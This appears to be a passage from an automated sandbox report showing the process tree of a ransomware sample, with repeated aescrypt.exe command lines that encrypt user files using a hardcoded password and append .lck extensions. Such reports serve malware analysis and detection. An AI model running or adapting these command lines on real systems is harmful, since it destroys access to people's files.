                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck.lck" "SendSearch.tif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2924
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck" "MoveTest.dib"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3400
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck.lck" "MoveTest.dib.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1128
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck" "ProtectUndo.emz"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4532
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck.lck" "ProtectUndo.emz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4124
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck" "GetPublish.gif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck.lck" "GetPublish.gif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck" "PublishStep.svgz"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck.lck" "PublishStep.svgz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck" "ResumeRequest.wmf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck.lck" "ResumeRequest.wmf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck" "OptimizeMeasure.dib"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck.lck" "OptimizeMeasure.dib.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck" "DenyPing.pcx"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck.lck" "DenyPing.pcx.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck" "SwitchRedo.svg"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck.lck" "SwitchRedo.svg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck" "desktop.ini.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck.lck" "desktop.ini.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck" "Wallpaper.jpg"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck.lck" "Wallpaper.jpg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck.lck.lck" "Wallpaper.jpg.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck" "ResizeUndo.svgz"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck.lck" "ResizeUndo.svgz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck.lck.lck" "ResizeUndo.svgz.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck" "BackupImport.dxf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck.lck" "BackupImport.dxf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck.lck.lck" "BackupImport.dxf.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck" "SyncDisable.gif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck.lck" "SyncDisable.gif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck.lck.lck" "SyncDisable.gif.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck" "PublishClose.emf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck.lck" "PublishClose.emf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck.lck.lck" "PublishClose.emf.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck" "ReadSuspend.ico"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck.lck" "ReadSuspend.ico.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck.lck.lck" "ReadSuspend.ico.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck" "EditPublish.jpg"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck.lck" "EditPublish.jpg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck.lck.lck" "EditPublish.jpg.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck" "SendSearch.tif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck.lck" "SendSearch.tif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck.lck.lck" "SendSearch.tif.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck" "MoveTest.dib"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck.lck" "MoveTest.dib.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck.lck.lck" "MoveTest.dib.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck" "ProtectUndo.emz"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck.lck" "ProtectUndo.emz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck.lck.lck" "ProtectUndo.emz.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck" "GetPublish.gif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck.lck" "GetPublish.gif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
